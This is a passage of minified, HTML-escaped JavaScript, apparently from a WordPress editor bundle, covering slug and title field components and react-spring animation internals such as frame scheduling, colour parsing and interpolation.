e?[e.source,e.source].includes(&quot;custom&quot;)&amp;&amp;!(e.type===&quot;wp_template&quot;&amp;&amp;e?.plugin)&amp;&amp;!e.has_theme_file:!1}var i_=e=&gt;typeof e!=&quot;object&quot;?&quot;&quot;:e.slug||(0,GD.cleanForSlug)(He(e))||e.id.toString();var ho=s(C(),1),ZD=({field:e,onChange:t,data:r})=&gt;{let{id:o}=e,n=e.getValue({item:r})||i_(r),i=r.permalink_template||&quot;&quot;,a=/%(?:postname|pagename)%/,[l,c]=i.split(a),u=l,d=c,f=a.test(i),m=(0,tp.useRef)(n),h=n||m.current,g=f?`${u}${h}${d}`:(0,qD.safeDecodeURIComponent)(r.link||&quot;&quot;);(0,tp.useEffect)(()=&gt;{n&amp;&amp;m.current===void 0&amp;&amp;(m.current=n)},[n]);let v=(0,tp.useCallback)(S=&gt;t({[o]:S}),[o,t]),{createNotice:y}=(0,WD.useDispatch)(YD.store),b=(0,s_.useCopyToClipboard)(g,()=&gt;{y(&quot;info&quot;,(0,Zd.__)(&quot;Copied Permalink to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})}),_=&quot;editor-post-url__slug-description-&quot;+(0,s_.useInstanceId)(ZD);return(0,ho.jsxs)(&quot;fieldset&quot;,{className:&quot;fields-controls__slug&quot;,children:[f&amp;&amp;(0,ho.jsxs)(kn.__experimentalVStack,{children:[(0,ho.jsxs)(kn.__experimentalVStack,{spacing:&quot;0px&quot;,children:[(0,ho.jsx)(&quot;span&quot;,{children:(0,Zd.__)(&quot;Customize the last part of the Permalink.&quot;)}),(0,ho.jsx)(kn.ExternalLink,{href:&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink&quot;,children:(0,Zd.__)(&quot;Learn more&quot;)})]}),(0,ho.jsx)(kn.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,ho.jsx)(kn.__experimentalInputControlPrefixWrapper,{children:&quot;/&quot;}),suffix:(0,ho.jsx)(kn.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,ho.jsx)(kn.Button,{size:&quot;small&quot;,icon:kv,ref:b,label:(0,Zd.__)(&quot;Copy&quot;)})}),label:(0,Zd.__)(&quot;Link&quot;),hideLabelFromVision:!0,value:n,autoComplete:&quot;off&quot;,spellCheck:&quot;false&quot;,type:&quot;text&quot;,className:&quot;fields-controls__slug-input&quot;,onChange:S=&gt;{v(S)},onBlur:()=&gt;{n===&quot;&quot;&amp;&amp;v(m.current)},&quot;aria-describedby&quot;:_}),(0,ho.jsxs)(&quot;div&quot;,{className:&quot;fields-controls__slug-help&quot;,children:[(0,ho.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-visual-label&quot;,children:(0,Zd.__)(&quot;Permalink:&quot;)}),(0,ho.jsxs)(kn.ExternalLink,{className:&quot;fields-controls__slug-help-link&quot;,href:g,children:[(0,ho.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-prefix&quot;,children:u}),(0,ho.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-slug&quot;,children:h}),(0,ho.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-suffix&quot;,children:d})]})]})]}),!f&amp;&amp;(0,ho.jsx)(kn.ExternalLink,{className:&quot;fields-controls__slug-help&quot;,href:g,children:g})]})},KD=ZD;var a_=s(D(),1);var wde=({item:e})=&gt;{let t=i_(e),r=(0,a_.useRef)(t);return(0,a_.useEffect)(()=&gt;{t&amp;&amp;r.current===void 0&amp;&amp;(r.current=t)},[t]),`${t||r.current}`},XD=wde;var xde={id:&quot;slug&quot;,type:&quot;text&quot;,label:(0,QD.__)(&quot;Slug&quot;),Edit:KD,render:XD,filterBy:!1},bO=xde;var SO=s(E(),1);function JD(e){var t,r,o=&quot;&quot;;if(typeof e==&quot;string&quot;||typeof e==&quot;number&quot;)o+=e;else if(typeof e==&quot;object&quot;)if(Array.isArray(e)){var n=e.length;for(t=0;t&lt;n;t++)e[t]&amp;&amp;(r=JD(e[t]))&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=r)}else for(r in e)e[r]&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=r);return o}function Cde(){for(var e,t,r=0,o=&quot;&quot;,n=arguments.length;r&lt;n;r++)(e=arguments[r])&amp;&amp;(t=JD(e))&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=t);return o}var re=Cde;var $D=s(A(),1),eB=s(E(),1);var ry=s(C(),1);function oy({item:e,className:t,children:r}){let o=He(e);return(0,ry.jsxs)($D.__experimentalHStack,{className:re(&quot;fields-field__title&quot;,t),alignment:&quot;center&quot;,justify:&quot;flex-start&quot;,children:[(0,ry.jsx)(&quot;span&quot;,{children:o||(0,eB.__)(&quot;(no title)&quot;)}),r]})}function l_({item:e}){return(0,ry.jsx)(oy,{item:e})}var Tde={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,SO.__)(&quot;Title&quot;),placeholder:(0,SO.__)(&quot;No title&quot;),getValue:({item:e})=&gt;He(e),render:l_,enableHiding:!0,enableGlobalSearch:!0,filterBy:!1},c_=Tde;var xO=s(E(),1);var _O=s(E(),1),rB=s(O(),1),oB=s(W(),1),nB=s(A(),1);var tB=s(qv(),1),{lock:Q6e,unlock:Do}=(0,tB.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/fields&quot;);var wO=s(C(),1),{Badge:Pde}=Do(nB.privateApis);function iB({item:e}){let{frontPageId:t,postsPageId:r}=(0,rB.useSelect)(o=&gt;{let{getEntityRecord:n}=o(oB.store),i=n(&quot;root&quot;,&quot;site&quot;);return{frontPageId:i?.page_on_front,postsPageId:i?.page_for_posts}},[]);return(0,wO.jsx)(oy,{item:e,className:&quot;fields-field__page-title&quot;,children:[t,r].includes(e.id)&amp;&amp;(0,wO.jsx)(Pde,{children:e.id===t?(0,_O.__)(&quot;Homepage&quot;):(0,_O.__)(&quot;Posts Page&quot;)})})}var kde={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,xO.__)(&quot;Title&quot;),placeholder:(0,xO.__)(&quot;No title&quot;),getValue:({item:e})=&gt;He(e),render:iB,enableHiding:!1,enableGlobalSearch:!0,filterBy:!1},CO=kde;var TO=s(E(),1);var Ede={type:&quot;text&quot;,label:(0,TO.__)(&quot;Template&quot;),placeholder:(0,TO.__)(&quot;No title&quot;),id:&quot;title&quot;,getValue:({item:e})=&gt;He(e),render:l_,enableHiding:!1,enableGlobalSearch:!0,filterBy:!1},ny=Ede;var PO=s(E(),1);var aB=s(E(),1);var lB=s(A(),1),cB=s(Ls(),1);var u_=s(C(),1),{PATTERN_TYPES:Rde}=Do(cB.privateApis);function uB({item:e}){return(0,u_.jsx)(oy,{item:e,className:&quot;fields-field__pattern-title&quot;,children:e.type===Rde.theme&amp;&amp;(0,u_.jsx)(lB.Tooltip,{placement:&quot;top&quot;,text:(0,aB.__)(&quot;This pattern cannot be edited.&quot;),children:(0,u_.jsx)(No,{icon:fA,size:24})})})}var Ade={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,PO.__)(&quot;Title&quot;),placeholder:(0,PO.__)(&quot;No title&quot;),getValue:({item:e})=&gt;He(e),render:uB,enableHiding:!1,enableGlobalSearch:!0,filterBy:!1},iy=Ade;var _M=s(E(),1);var ut=s(A(),1),rf=s(sy(),1),d5=s(W(),1),Cy=s(O(),1),$t=s(D(),1),An=s(E(),1);var fp=s(Yd(),1),pM=s(ct(),1);var EO=ly(),Ge=e=&gt;ay(e,EO),RO=ly();Ge.write=e=&gt;ay(e,RO);var d_=ly();Ge.onStart=e=&gt;ay(e,d_);var AO=ly();Ge.onFrame=e=&gt;ay(e,AO);var OO=ly();Ge.onFinish=e=&gt;ay(e,OO);var rp=[];Ge.setTimeout=(e,t)=&gt;{let r=Ge.now()+t,o=()=&gt;{let i=rp.findIndex(a=&gt;a.cancel==o);~i&amp;&amp;rp.splice(i,1),nu-=~i?1:0},n={time:r,handler:e,cancel:o};return rp.splice(fB(r),0,n),nu+=1,mB(),n};var fB=e=&gt;~(~rp.findIndex(t=&gt;t.time&gt;e)||~rp.length);Ge.cancel=e=&gt;{d_.delete(e),AO.delete(e),OO.delete(e),EO.delete(e),RO.delete(e)};Ge.sync=e=&gt;{kO=!0,Ge.batchedUpdates(e),kO=!1};Ge.throttle=e=&gt;{let t;function r(){try{e(...t)}finally{t=null}}function o(...n){t=n,Ge.onStart(r)}return o.handler=e,o.cancel=()=&gt;{d_.delete(r),t=null},o};var IO=typeof window&lt;&quot;u&quot;?window.requestAnimationFrame:()=&gt;{};Ge.use=e=&gt;IO=e;Ge.now=typeof performance&lt;&quot;u&quot;?()=&gt;performance.now():Date.now;Ge.batchedUpdates=e=&gt;e();Ge.catch=console.error;Ge.frameLoop=&quot;always&quot;;Ge.advance=()=&gt;{Ge.frameLoop!==&quot;demand&quot;?console.warn(&quot;Cannot call the manual advancement of rafz whilst frameLoop is not set as demand&quot;):hB()};var ou=-1,nu=0,kO=!1;function ay(e,t){kO?(t.delete(e),e(0)):(t.add(e),mB())}function mB(){ou&lt;0&amp;&amp;(ou=0,Ge.frameLoop!==&quot;demand&quot;&amp;&amp;IO(pB))}function Ode(){ou=-1}function pB(){~ou&amp;&amp;(IO(pB),Ge.batchedUpdates(hB))}function hB(){let e=ou;ou=Ge.now();let t=fB(ou);if(t&amp;&amp;(gB(rp.splice(0,t),r=&gt;r.handler()),nu-=t),!nu){Ode();return}d_.flush(),EO.flush(e?Math.min(64,ou-e):16.667),AO.flush(),RO.flush(),OO.flush()}function ly(){let e=new Set,t=e;return{add(r){nu+=t==e&amp;&amp;!e.has(r)?1:0,e.add(r)},delete(r){return nu-=t==e&amp;&amp;e.has(r)?1:0,e.delete(r)},flush(r){t.size&amp;&amp;(e=new Set,nu-=t.size,gB(t,o=&gt;o(r)&amp;&amp;e.add(o)),nu+=e.size,t=e)}}}function gB(e,t){e.forEach(r=&gt;{try{t(r)}catch(o){Ge.catch(o)}})}var Qi=s(Jn());function g_(){}var xB=(e,t,r)=&gt;Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0}),ce={arr:Array.isArray,obj:e=&gt;!!e&amp;&amp;e.constructor.name===&quot;Object&quot;,fun:e=&gt;typeof e==&quot;function&quot;,str:e=&gt;typeof e==&quot;string&quot;,num:e=&gt;typeof e==&quot;number&quot;,und:e=&gt;e===void 0};function Ta(e,t){if(ce.arr(e)){if(!ce.arr(t)||e.length!==t.length)return!1;for(let r=0;r&lt;e.length;r++)if(e[r]!==t[r])return!1;return!0}return e===t}var zt=(e,t)=&gt;e.forEach(t);function Ji(e,t,r){if(ce.arr(e)){for(let o=0;o&lt;e.length;o++)t.call(r,e[o],`${o}`);return}for(let o in e)e.hasOwnProperty(o)&amp;&amp;t.call(r,e[o],o)}var $n=e=&gt;ce.und(e)?[]:ce.arr(e)?e:[e];function sp(e,t){if(e.size){let r=Array.from(e);e.clear(),zt(r,t)}}var ap=(e,...t)=&gt;sp(e,r=&gt;r(...t)),LO=()=&gt;typeof window&gt;&quot;u&quot;||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent),VO,CB,iu=null,TB=!1,jO=g_,Ide=e=&gt;{e.to&amp;&amp;(CB=e.to),e.now&amp;&amp;(Ge.now=e.now),e.colors!==void 0&amp;&amp;(iu=e.colors),e.skipAnimation!=null&amp;&amp;(TB=e.skipAnimation),e.createStringInterpolator&amp;&amp;(VO=e.createStringInterpolator),e.requestAnimationFrame&amp;&amp;Ge.use(e.requestAnimationFrame),e.batchedUpdates&amp;&amp;(Ge.batchedUpdates=e.batchedUpdates),e.willAdvance&amp;&amp;(jO=e.willAdvance),e.frameLoop&amp;&amp;(Ge.frameLoop=e.frameLoop)},Ri=Object.freeze({__proto__:null,get createStringInterpolator(){return VO},get to(){return CB},get colors(){return iu},get skipAnimation(){return TB},get willAdvance(){return jO},assign:Ide}),cy=new Set,Xi=[],NO=[],p_=0,lp={get idle(){return!cy.size&amp;&amp;!Xi.length},start(e){p_&gt;e.priority?(cy.add(e),Ge.onStart(Nde)):(PB(e),Ge(BO))},advance:BO,sort(e){if(p_)Ge.onFrame(()=&gt;lp.sort(e));else{let t=Xi.indexOf(e);~t&amp;&amp;(Xi.splice(t,1),kB(e))}},clear(){Xi=[],cy.clear()}};function Nde(){cy.forEach(PB),cy.clear(),Ge(BO)}function PB(e){Xi.includes(e)||kB(e)}function kB(e){Xi.splice(Fde(Xi,t=&gt;t.priority&gt;e.priority),0,e)}function BO(e){let t=NO;for(let r=0;r&lt;Xi.length;r++){let o=Xi[r];p_=o.priority,o.idle||(jO(o),o.advance(e),o.idle||t.push(o))}return p_=0,NO=Xi,NO.length=0,Xi=t,Xi.length&gt;0}function Fde(e,t){let r=e.findIndex(t);return r&lt;0?e.length:r}var EB={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199},Vs=&quot;[-+]?\\d*\\.?\\d+&quot;,h_=Vs+&quot;%&quot;;function v_(...e){return&quot;\\(\\s*(&quot;+e.join(&quot;)\\s*,\\s*(&quot;)+&quot;)\\s*\\)&quot;}var Dde=new RegExp(&quot;rgb&quot;+v_(Vs,Vs,Vs)),Bde=new RegExp(&quot;rgba&quot;+v_(Vs,Vs,Vs,Vs)),Mde=new RegExp(&quot;hsl&quot;+v_(Vs,h_,h_)),Lde=new RegExp(&quot;hsla&quot;+v_(Vs,h_,h_,Vs)),Vde=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,jde=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,zde=/^#([0-9a-fA-F]{6})$/,Ude=/^#([0-9a-fA-F]{8})$/;function Hde(e){let t;return typeof e==&quot;number&quot;?e&gt;&gt;&gt;0===e&amp;&amp;e&gt;=0&amp;&amp;e&lt;=4294967295?e:null:(t=zde.exec(e))?parseInt(t[1]+&quot;ff&quot;,16)&gt;&gt;&gt;0:iu&amp;&amp;iu[e]!==void 0?iu[e]:(t=Dde.exec(e))?(op(t[1])&lt;&lt;24|op(t[2])&lt;&lt;16|op(t[3])&lt;&lt;8|255)&gt;&gt;&gt;0:(t=Bde.exec(e))?(op(t[1])&lt;&lt;24|op(t[2])&lt;&lt;16|op(t[3])&lt;&lt;8|SB(t[4]))&gt;&gt;&gt;0:(t=Vde.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+&quot;ff&quot;,16)&gt;&gt;&gt;0:(t=Ude.exec(e))?parseInt(t[1],16)&gt;&gt;&gt;0:(t=jde.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)&gt;&gt;&gt;0:(t=Mde.exec(e))?(yB(bB(t[1]),f_(t[2]),f_(t[3]))|255)&gt;&gt;&gt;0:(t=Lde.exec(e))?(yB(bB(t[1]),f_(t[2]),f_(t[3]))|SB(t[4]))&gt;&gt;&gt;0:null}function FO(e,t,r){return r&lt;0&amp;&amp;(r+=1),r&gt;1&amp;&amp;(r-=1),r&lt;1/6?e+(t-e)*6*r:r&lt;1/2?t:r&lt;2/3?e+(t-e)*(2/3-r)*6:e}function yB(e,t,r){let o=r&lt;.5?r*(1+t):r+t-r*t,n=2*r-o,i=FO(n,o,e+1/3),a=FO(n,o,e),l=FO(n,o,e-1/3);return Math.round(i*255)&lt;&lt;24|Math.round(a*255)&lt;&lt;16|Math.round(l*255)&lt;&lt;8}function op(e){let t=parseInt(e,10);return t&lt;0?0:t&gt;255?255:t}function bB(e){return(parseFloat(e)%360+360)%360/360}function SB(e){let t=parseFloat(e);return t&lt;0?0:t&gt;1?255:Math.round(t*255)}function f_(e){let t=parseFloat(e);return t&lt;0?0:t&gt;100?1:t/100}function _B(e){let t=Hde(e);if(t===null)return e;t=t||0;let r=(t&amp;4278190080)&gt;&gt;&gt;24,o=(t&amp;16711680)&gt;&gt;&gt;16,n=(t&amp;65280)&gt;&gt;&gt;8,i=(t&amp;255)/255;return`rgba(${r}, ${o}, ${n}, ${i})`}var su=(e,t,r)=&gt;{if(ce.fun(e))return e;if(ce.arr(e))return su({range:e,output:t,extrapolate:r});if(ce.str(e.output[0]))return VO(e);let o=e,n=o.output,i=o.range||[0,1],a=o.extrapolateLeft||o.extrapolate||&quot;extend&quot;,l=o.extrapolateRight||o.extrapolate||&quot;extend&quot;,c=o.easing||(u=&gt;u);return u=&gt;{let d=Wde(u,i);return Gde(u,i[d],i[d+1],n[d],n[d+1],c,a,l,o.map)}};function Gde(e,t,r,o,n,i,a,l,c){let u=c?c(e):e;if(u&lt;t){if(a===&quot;identity&quot;)return u;a===&quot;clamp&quot;&amp;&amp;(u=t)}if(u&gt;r){if(l===&quot;identity&quot;)return u;l===&quot;clamp&quot;&amp;&amp;(u=r)}return o===n?o:t===r?e&lt;=t?o:n:(t===-1/0?u=-u:r===1/0?u=u-t:u=(u-t)/(r-t),u=i(u),o===-1/0?u=-u:n===1/0?u=u+o:u=u*(n-o)+o,u)}function Wde(e,t){for(var r=1;r&lt;t.length-1&amp;&amp;!(t[r]&gt;=e);++r);return r-1}function MO(){return MO=Object.assign?Object.assign.bind():function(e){for(var t=1;t&lt;arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&amp;&amp;(e[o]=r[o])}return e},MO.apply(this,arguments)}var np=Symbol.for(&quot;FluidValue.get&quot;),Kd=Symbol.for(&quot;FluidValue.observers&quot;),En=e=&gt;!!(e&amp;&amp;e[np]),Bo=e=&gt;e&amp;&amp;e[np]?e[np]():e,zO=e=&gt;e[Kd]||null;function Yde(e,t){e.eventObserved?e.eventObserved(t):e(t)}function Xd(e,t){let r=e[Kd];r&amp;&amp;r.forEach(o=&gt;{Yde(o,t)})}var ip=class{constructor(t){if(this[np]=void 0,this[Kd]=void 0,!t&amp;&amp;!(t=this.get))throw Error(&quot;Unknown getter&quot;);qde(this,t)}},qde=(e,t)=&gt;RB(e,np,t);function au(e,t){if(e[np]){let r=e[Kd];r||RB(e,Kd,r=new Set),r.has(t)||(r.add(t),e.observerAdded&amp;&amp;e.observerAdded(r.size,t))}return t}function lu(e,t){let r=e[Kd];if(r&amp;&amp;r.has(t)){let o=r.size-1;o?r.delete(t):e[Kd]=null,e.observerRemoved&amp;&amp;e.observerRemoved(o,t)}}var RB=(e,t,r)=&gt;Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0}),m_=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,Zde=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,wB=new RegExp(`(${m_.source})(%|[a-z]+)`,&quot;i&quot;),Kde=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,y_=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/,AB=e=&gt;{let[t,r]=Xde(e);if(!t||LO())return e;let o=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(o)return o.trim();if(r&amp;&amp;r.startsWith(&quot;--&quot;)){let n=window.getComputedStyle(document.documentElement).getPropertyValue(r);return n||e}else{if(r&amp;&amp;y_.test(r))return AB(r);if(r)return r}return e},Xde=e=&gt;{let t=y_.exec(e);if(!t)return[,];let[,r,o]=t;return[r,o]},DO,Qde=(e,t,r,o,n)=&gt;`rgba(${Math.round(t)}, ${Math.round(r)}, ${Math.round(o)}, ${n})`,b_=e=&gt;{DO||(DO=iu?new RegExp(`(${Object.keys(iu).join(&quot;|&quot;)})(?!\\w)`,&quot;g&quot;):/^\b$/);let t=e.output.map(i=&gt;Bo(i).replace(y_,AB).replace(Zde,_B).replace(DO,_B)),r=t.map(i=&gt;i.match(m_).map(Number)),n=r[0].map((i,a)=&gt;r.map(l=&gt;{if(!(a in l))throw Error(&#039;The arity of each &quot;output&quot; value must be equal&#039;);return l[a]})).map(i=&gt;su(MO({},e,{output:i})));return i=&gt;{var a;let l=!wB.test(t[0])&amp;&amp;((a=t.find(u=&gt;wB.test(u)))==null?void 0:a.replace(m_,&quot;&quot;)),c=0;return t[0].replace(m_,()=&gt;`${n[c++](i)}${l||&quot;&quot;}`).replace(Kde,Qde)}},OB=&quot;react-spring: &quot;,IB=e=&gt;{let t=e,r=!1;if(typeof t!=&quot;function&quot;)throw new TypeError(`${OB}once requires a function parameter`);return(...o)=&gt;{r||(t(...o),r=!0)}},Jde=IB(console.warn);function NB(){Jde(`${OB}The &quot;interpolate&quot; function is deprecated in v9 (use &quot;to&quot; instead)`)}var S3e=IB(console.warn);function cp(e){return ce.str(e)&amp;&amp;(e[0]==&quot;#&quot;||/\d/.test(e)||!LO()&amp;&amp;y_.test(e)||e in(iu||{}))}var uy=LO()?Qi.useEffect:Qi.useLayoutEffect,$de=()=&gt;{let e=(0,Qi.useRef)(!1);return uy(()=&gt;(e.current=!0,()=&gt;{e.current=!1}),[]),e};function UO(){let e=(0,Qi.useState)()[1],t=$de();return()=&gt;{t.current&amp;&amp;e(Math.random())}}function FB(e,t){let[r]=(0,Qi.useState)(()=&gt;({inputs:t,result:e()})),o=(0,Qi.useRef)(),n=o.current,i=n;return i?t&amp;&amp;i.inputs&amp;&amp;efe(t,i.inputs)||(i={inputs:t,result:e()}):i=r,(0,Qi.useEffect)(()=&gt;{o.current=i,n==r&amp;&amp;(r.inputs=r.result=void 0)},[i]),i.result}function efe(e,t){if(e.length!==t.length)return!1;for(let r=0;r&lt;e.length;r++)if(e[r]!==t[r])return!1;return!0}var HO=e=&gt;(0,Qi.useEffect)(e,tfe),tfe=[];var Sy=s(Jn()),_y=s(Jn());var LB=s(Jn()),Al=s(Jn()),dy=Symbol.for(&quot;Animated:node&quot;),rfe=e=&gt;!!e&amp;&amp;e[dy]===e,js=e=&gt;e&amp;&amp;e[dy],x_=(e,t)=&gt;xB(e,dy,t),fy=e=&gt;e&amp;&amp;e[dy]&amp;&amp;e[dy].getPayload(),S_=class{constructor(){this.payload=void 0,x_(this,this)}getPayload(){return this.payload||[]}},Qd=class e extends S_{constructor(t){super(),this.done=!0,this.elapsedTime=void 0,this.lastPosition=void 0,this.lastVelocity=void 0,this.v0=void 0,this.durationProgress=0,this._value=t,ce.num(this._value)&amp;&amp;(this.lastPosition=this._value)}static create(t){return new e(t)}getPayload(){return[this]}getValue(){return this._value}setValue(t,r){return ce.num(t)&amp;&amp;(this.lastPosition=t,r&amp;&amp;(t=Math.round(t/r)*r,this.done&amp;&amp;(this.lastPosition=t))),this._value===t?!1:(this._value=t,!0)}reset(){let{done:t}=this;this.done=!1,ce.num(this._value)&amp;&amp;(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,t&amp;&amp;(this.lastVelocity=null),this.v0=null)}},Jd=class e extends Qd{constructor(t){super(0),this._string=null,this._toString=void 0,this._toString=su({output:[t,t]})}static create(t){return new e(t)}getValue(){let t=this._string;return t??(this._string=this._toString(this._value))}setValue(t){if(ce.str(t)){if(t==this._string)return!1;this._string=t,this._value=1}else if(super.setValue(t))this._string=null;else return!1;return!0}reset(t){t&amp;&amp;(this._toString=su({output:[this.getValue(),t]})),this._value=0,super.reset()}},__={dependencies:null},$d=class extends S_{constructor(t){super(),this.source=t,this.setValue(t)}getValue(t){let r={};return Ji(this.source,(o,n)=&gt;{rfe(o)?r[n]=o.getValue(t):En(o)?r[n]=Bo(o):t||(r[n]=o)}),r}setValue(t){this.source=t,this.payload=this._makePayload(t)}reset(){this.payload&amp;&amp;zt(this.payload,t=&gt;t.reset())}_makePayload(t){if(t){let r=new Set;return Ji(t,this._addToPayload,r),Array.from(r)}}_addToPayload(t){__.dependencies&amp;&amp;En(t)&amp;&amp;__.dependencies.add(t);let r=fy(t);r&amp;&amp;zt(r,o=&gt;this.add(o))}},GO=class e extends $d{constructor(t){super(t)}static create(t){return new e(t)}getValue(){return this.source.map(t=&gt;t.getValue())}setValue(t){let r=this.getPayload();return t.length==r.length?r.map((o,n)=&gt;o.setValue(t[n])).some(Boolean):(super.setValue(t.map(ofe)),!0)}};function ofe(e){return(cp(e)?Jd:Qd).create(e)}function C_(e){let t=js(e);return t?t.constructor:ce.arr(e)?GO:cp(e)?Jd:Qd}function w_(){return w_=Object.assign?Object.assign.bind():function(e){for(var t=1;t&lt;arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&amp;&amp;(e[o]=r[o])}return e},w_.apply(this,arguments)}var DB=(e,t)=&gt;{let r=!ce.fun(e)||e.prototype&amp;&amp;e.prototype.isReactComponent;return(0,Al.forwardRef)((o,n)=&gt;{let i=(0,Al.useRef)(null),a=r&amp;&amp;(0,Al.useCallback)(g=&gt;{i.current=ife(n,g)},[n]),[l,c]=nfe(o,t),u=UO(),d=()=&gt;{let g=i.current;if(r&amp;&amp;!g)return;(g?t.applyAnimatedValues(g,l.getValue(!0)):!1)===!1&amp;&amp;u()},f=new WO(d,c),m=(0,Al.useRef)();uy(()=&gt;(m.current=f,zt(c,g=&gt;au(g,f)),()=&gt;{m.current&amp;&amp;(zt(m.current.deps,g=&gt;lu(g,m.current)),Ge.cancel(m.current.update))})),(0,Al.useEffect)(d,[]),HO(()=&gt;()=&gt;{let g=m.current;zt(g.deps,v=&gt;lu(v,g))});let h=t.getComponentProps(l.getValue());return LB.createElement(e,w_({},h,{ref:a}))})},WO=class{constructor(t,r){this.update=t,this.deps=r}eventObserved(t){t.type==&quot;change&quot;&amp;&amp;Ge.write(this.update)}};function nfe(e,t){let r=new Set;return __.dependencies=r,e.style&amp;&amp;(e=w_({},e,{style:t.createAnimatedStyle(e.style)})),e=new $d(e),__.dependencies=null,[e,r]}function ife(e,t){return e&amp;&amp;(ce.fun(e)?e(t):e.current=t),t}var BB=Symbol.for(&quot;AnimatedComponent&quot;),VB=(e,{applyAnimatedValues:t=()=&gt;!1,createAnimatedStyle:r=n=&gt;new $d(n),getComponentProps:o=n=&gt;n}={})=&gt;{let n={applyAnimatedValues:t,createAnimatedStyle:r,getComponentProps:o},i=a=&gt;{let l=MB(a)||&quot;Anonymous&quot;;return ce.str(a)?a=i[a]||(i[a]=DB(a,n)):a=a[BB]||(a[BB]=DB(a,n)),a.displayName=`Animated(${l})`,a};return Ji(e,(a,l)=&gt;{ce.arr(e)&amp;&amp;(l=MB(a)),i[l]=i(a)}),{animated:i}},MB=e=&gt;ce.str(e)?e:e&amp;&amp;ce.str(e.displayName)?e.displayName:ce.fun(e)&amp;&amp;e.name||null;function Rn(){return 